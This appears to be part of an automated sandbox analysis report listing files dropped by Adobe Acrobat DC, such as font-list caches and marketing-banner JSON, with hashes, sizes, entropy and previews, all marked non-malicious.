SHA1:	70F7922351BDD0718E86D55FDC9CC441267D3BC9
SHA-256:	42A812EC8B990EEA92DB6E663E191FF80D61305085267A21A944BC59915A74CE
SHA-512:	3410D0198AC7C4A1D4DDE756B866F81B57F28BEB6F5BD01284B577847A00A540C3744ABB4382D5EA1AD9D6FE8FA08A262F2CD01A180DCD02A8D1F211F7C42C60
Malicious:	false
Preview:	p...... .............c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.344

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.344

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.388294722065626
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBwbd07WVoZcg1vRcR0YteoAvJM3g98kUwPeUkwRe9:YvXKXBwZuZc0vgVGMbLUkee9
MD5:	76DC62EE9F23BAA9C9D36306A90C3428
SHA1:	0EE7931EC985707C36C48543248813230266F86B
SHA-256:	D29FCFC04B0C2D53F8B02FA1CA33AA451A85075744D3012A84D0F365180E28CE
SHA-512:	EEEEAB7005EA6999D36DD25DDC7DEBE80D0302066CA495A223BC605BF454C285A7B98062DEA3B826EA766C6AE4A0C6E86FB90AB010401A7C026723EB9054BEA5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6b5b3b32-4d77-4b1d-81ba-66e61c075873","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730619930,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.341380373723538
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBwbd07WVoZcg1vRcR0YteoAvJfBoTfXpnrPeUkwRe9:YvXKXBwZuZc0vgVGWTfXcUkee9
MD5:	AB9C4C2402A05B1404638572066614C4
SHA1:	E61FF082E37BF55F89B2554AD53D18A1245F02D1
SHA-256:	918380E19C97BC4FAD1A086DA68B526D6E73DA17F686F28B059CF6118C45F073
SHA-512:	F973E3BFB837F034661A597DC954EF7B43BB0223EF61DD3AF62B9DF6F0CCE87607AB1F8B205F749D0B8ECDDE0C7F5A3EE263E947FF07A43A241B6B78C5D734BB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6b5b3b32-4d77-4b1d-81ba-66e61c075873","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730619930,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.320086587950417
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBwbd07WVoZcg1vRcR0YteoAvJfBD2G6UpnrPeUkwRe9:YvXKXBwZuZc0vgVGR22cUkee9
MD5:	12988FDFBADDF3E2BC62B9EFC551BB3A
SHA1:	04EE3BF0FA8396FF5BA77739359B9C6F6D785009
SHA-256:	940E6ED34D42A86FC0BD330279F829509048ECCEB8FC887CCB1D99C09ADD9588
SHA-512:	373780C5C0A6D801770ABC7D09501A17895FABA453176694A41B5DEB5DE4831A8C168A4F10D1924952D01C4EF0190CAAF1CFE84971259EF26C7BEB238971FA36
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6b5b3b32-4d77-4b1d-81ba-66e61c075873","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730619930,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.376180011971256
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBwbd07WVoZcg1vRcR0YteoAvJfPmwrPeUkwRe9:YvXKXBwZuZc0vgVGH56Ukee9
MD5:	FA9E89DEB0EDF1553765C2B85AABF8F9
SHA1:	82AA3E9935A7D1C06F65433BBA4146A08DB79197
SHA-256:	05ADAA2CA15EFF33801065CCE08AD10A62C71C6B16BA403A85A40EC0C7A2A4C6
SHA-512:	C9BFF594E75EDF1587211A6D4FA8FC430587A9259E8F89004404FC7E2273E6BE29AB6A23E58172475350D4685177E837CA2F1C7B5E903190DB5B485C8A2E5AAB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6b5b3b32-4d77-4b1d-81ba-66e61c075873","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730619930,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.689559986173671
Encrypted:	false
SSDEEP:	24:Yv6XBwZuzvg6pLgE9cQx8LennAvzBvkn0RCmK8czOCCShIn:YvEwZGlhgy6SAFv5Ah8cv/hI
MD5:	C22A01F05E5473D84F654100483EBC73
SHA1:	983CE85321D1E15B2C411CA963318D6ED1AAF040
SHA-256:	1126914B8937EAC1A7EA22E7A7F56504C92247B5A3B038D38B4636B61CA8BA50
SHA-512:	41EDC8E8986285872B25AC15B164B965FCD3A8D3607CFFD9BD4EF277D060AFBDBBF5A58A7C564C2A1383AED13F559F9A89165EB87D4B04FBAA0DC1CBD6D4F0DB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6b5b3b32-4d77-4b1d-81ba-66e61c075873","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730619930,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.323717629644365
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBwbd07WVoZcg1vRcR0YteoAvJf8dPeUkwRe9:YvXKXBwZuZc0vgVGU8Ukee9
MD5:	97B518243092C97F8DB9226348CB3A6F
SHA1:	27ADB6B7984593C7B4733FDC6DFCB54FCC9FBAF1
SHA-256:	D55CEEEB95FB8763472190E43E7E936DEB45EF10F2F67311DE62A56246D85BF1
SHA-512:	3154165ABEB571240EE1F797B27298198027FDC8E12DC9F60B127C2255D09B2AE574405AACED6976615F0FB07C233CB419D5BED0E5D1C5CAFF40E0E1CCB9D6E3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6b5b3b32-4d77-4b1d-81ba-66e61c075873","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730619930,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.327356393005459
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBwbd07WVoZcg1vRcR0YteoAvJfQ1rPeUkwRe9:YvXKXBwZuZc0vgVGY16Ukee9
MD5:	AD435DC28A392A9EF33E414CC8005A10
SHA1:	42E2A4B19B73119C88AC86972A08059E37695777
SHA-256:	916F5D89168A236B2D563EB1D54CAD51C3F202133086447E1C909D95FB960C7C
SHA-512:	4CC07E4F93B401CE1E7C09415428FCEFF8968706E6E77C80C308D25219E42664998C11F1FF7658C4AD6142FABDC9E0C1F48469DBFB585C43F973C3B906DEBBD7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6b5b3b32-4d77-4b1d-81ba-66e61c075873","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730619930,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.332520675915464
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBwbd07WVoZcg1vRcR0YteoAvJfFldPeUkwRe9:YvXKXBwZuZc0vgVGz8Ukee9
MD5:	E68BC0B974E97324FCECFAC3A5918915
SHA1:	36B29AF933E14558198469F5DC01F09055B64A77
SHA-256:	068A99DCA1B6FB51485B17D4E14C13D8DEAD1A5C1098AB790321B16ECD07F126
SHA-512:	882C5B3B3E0D1B865F9612DB762472EECF97277FEEA5A13F4D00D838A540503FD70FD95D6B02749EE17DC56908D777D2D87EADE56194CA1BDEA8799DBFF70AB2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6b5b3b32-4d77-4b1d-81ba-66e61c075873","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730619930,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.348840195696074
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBwbd07WVoZcg1vRcR0YteoAvJfzdPeUkwRe9:YvXKXBwZuZc0vgVGb8Ukee9
MD5:	14B71330D7ECA40BD1A2059063ECF675
SHA1:	4452560219EA758C5AA9E629CF9E6873300E43D4
SHA-256:	9D1C5810624D4B8D727E5190233994581215CD9A12A7957733C24215301EBF2B
SHA-512:	15CE5E2D4ABF39B88816744A12F0496552F84565DA7B4AAFDA9B7EB9DA32A8DC79C9417DE3ADA0DE2C66C83A10AF2291B4A8D0FBA20AA1BCBC36288EB1DBB1AD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6b5b3b32-4d77-4b1d-81ba-66e61c075873","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730619930,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.329802090806146
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBwbd07WVoZcg1vRcR0YteoAvJfYdPeUkwRe9:YvXKXBwZuZc0vgVGg8Ukee9
MD5:	9D0326B4D663E1B5B00B811764CE48DD
SHA1:	6B123A56D56D02336F6CAB92272536CBF3BDCF60
SHA-256:	E80A54864E6ABA06F7BEDBFBCA19E430F72C20A3C974257B1A7E23AFCC055F45
SHA-512:	5BBC4F64BC0C38B27AEB89EBD3264B179BEB4C55405569F1CD2F52C42B1788E392102516F762E881F92283D032C24D5B021DF676A3724EFDA58AB97A363BA39F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6b5b3b32-4d77-4b1d-81ba-66e61c075873","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730619930,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.31637714832631
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBwbd07WVoZcg1vRcR0YteoAvJf+dPeUkwRe9:YvXKXBwZuZc0vgVG28Ukee9
MD5:	4389EDB8B4EDA8609FA6B28116095E5D
SHA1:	3CFAEA343A3CB7C0DAE798CA38054FE937EE072F
SHA-256:	B485110C4F40D7ECC67E6651160E588AA9AD3C04CE2C42F9FE4121E4130D04FD
SHA-512:	337D11CE4D19777A8FECBB55591B826F15331ED50FDD854B7FF78F6E41549AC084C9C01650A46E1EA214090E357424182BB6FF13CD9C570A9FFB5CF3A097E3B5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6b5b3b32-4d77-4b1d-81ba-66e61c075873","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730619930,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.313144363113643
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBwbd07WVoZcg1vRcR0YteoAvJfbPtdPeUkwRe9:YvXKXBwZuZc0vgVGDV8Ukee9
MD5:	78C71D3D2CFC823BD260988548C55F16
SHA1:	90399CD26467D9F9F12F7DFE8F9B320CCF2466C2
SHA-256:	70E903111F7685996520EC0200AEA1A078B27262CAC6002390B34390408991BE
SHA-512:	95080F7643B3473CBA54A1F3EA3DB048B2874A2F1888C001B1B1A4E907F357BE7227EBBB8658BC7C4168080B5DA463639976F99C2A168A864AD65E8DEFF73EBF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6b5b3b32-4d77-4b1d-81ba-66e61c075873","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730619930,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.317893940580445
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBwbd07WVoZcg1vRcR0YteoAvJf21rPeUkwRe9:YvXKXBwZuZc0vgVG+16Ukee9
MD5:	C8A22400A3AD2A466FA1BA45760F94C8
SHA1:	4E1CC9494D6D669808470DE39CE2C2D9F1686562
SHA-256:	8EDA25C9119FD712676F4D9112136C3CF0DADF9730BD7E7C28C337831B010981
SHA-512:	F3FB779E1D558A1641BBD4797C40BFF0141A2F7F3A7A73C06AECBD0A7D88DDFD733E87C73652F1920D6E7FA049FF4E7595B1615D54E220EB7EF9E77D0219F0DA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6b5b3b32-4d77-4b1d-81ba-66e61c075873","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730619930,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.664486699325117
Encrypted:	false
SSDEEP:	24:Yv6XBwZuzvgmamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BShIn:YvEwZGRBgkDMUJUAh8cvMhI
MD5:	53EB7D6B5BE9E911FE81995394379CCA
SHA1:	02BA2B86C469A9719AA6C4606D5DACACADB38A48
SHA-256:	E7E98111954A8D1D91B8F1E733E84E30864C4F46912C01B94FC119EDEEF61CC2
SHA-512:	1DA2A57FA3165C58BF682F2A7A71EC33E1F4FB2195DD5C951EE5721209B6D9FAD936688320F19F56AC5224DC4F3E548D078CFD8FD46E505467753491C44AC778
Malicious:	false
